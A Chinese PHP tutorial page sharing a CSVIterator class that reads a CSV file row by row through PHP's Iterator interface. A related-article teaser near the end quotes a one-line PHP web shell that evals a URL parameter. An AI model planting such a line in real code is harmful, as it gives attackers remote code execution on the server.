php遍历CSV类实例

yipeiwu_com6年前PHP代码库

本文实例讲述了php遍历CSV类。分享给大家供大家参考。具体如下:

<?php
class CSVIterator implements Iterator
{ 
  const ROW_SIZE = 4096;
  private $filePointer;
  private $currentElement;
  private $rowCounter;
  private $delimiter;
  public function __construct( $file, $delimiter = ',' )
  {
    $this->filePointer = fopen( $file, 'r' );
    $this->delimiter  = $delimiter;
  }
  public function rewind()
  {
    $this->rowCounter = 0;
    rewind( $this->filePointer );
  }
  public function current()
  {
    $this->currentElement = fgetcsv($this->filePointer,self::ROW_SIZE,$this->delimiter);
    $this->rowCounter++;
    return $this->currentElement;
  }
  public function key()
  {
    return $this->rowCounter;
  }
  public function next()
  {
    return !feof( $this->filePointer );
  }
  public function valid()
  {
    if( !$this->next() )
    {
      fclose( $this->filePointer );
      return FALSE;
    }
    return TRUE;
  }
} // end class
?>

希望本文所述对大家的php程序设计有所帮助。

相关文章

php+xml实现在线英文词典之添加词条的方法

本文实例讲述了php+xml实现在线英文词典之添加词条的方法。分享给大家供大家参考。具体如下: 接着上一篇《php+xml实现在线英文词典查询的方法》,这里要添加一个功能,提交英文单词和...

php简单隔行变色功能实现代码 原创

本文简单分析了php简单隔行变色功能实现方法。分享给大家公大家参考。具体如下: $color=""; echo "隔行变色效果:"; echo "<ul>"; for($...

php ci框架验证码实例分析

php代码:复制代码 代码如下:<?php class Captcha_code{ var $width='60'; var $num='4'; va...

PHP与SQL语句写一句话木马总结

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来: <?php @eval($_GET["code"])?> <?ph...

在yii中新增一个用户验证的方法详解

1.为什么要新增一个用户验证:因为我要将网站后台和前台做在同一个yii的应用中.但是前台也包含有会员的管理中心.而这两个用户验证是完全不同的,所以需要两个不同登陆页面,要将用户信息保存在...